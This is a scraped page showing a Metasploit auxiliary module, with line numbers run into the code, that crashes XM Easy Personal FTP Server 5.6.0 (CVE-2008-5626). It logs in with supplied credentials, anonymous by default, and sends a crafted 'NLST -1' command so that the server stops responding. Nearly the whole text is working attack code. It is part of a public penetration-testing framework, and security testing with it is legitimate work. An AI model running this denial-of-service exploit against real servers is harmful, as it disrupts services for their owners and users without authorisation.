Path: blob/master/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'XM Easy Personal FTP Server 5.6.0 NLST DoS',14'Description' => %q{15This module is a port of shinnai's script. You need16a valid login, but even anonymous can do it as long17as it has permission to call NLST.18},19'Author' => 'kris katterjohn',20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2008-5626'],23[ 'OSVDB', '50837'],24[ 'EDB', '6741' ]25],26'DisclosureDate' => '2008-10-13',27'Notes' => {28'Stability' => [CRASH_SERVICE_DOWN],29'SideEffects' => [],30'Reliability' => []31}32)33)3435register_options([36OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),37OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])38])39end4041def run42return unless connect_login4344raw_send("NLST -1\r\n")4546disconnect4748print_status("OK, server may still be technically listening, but it won't respond")49end50end515253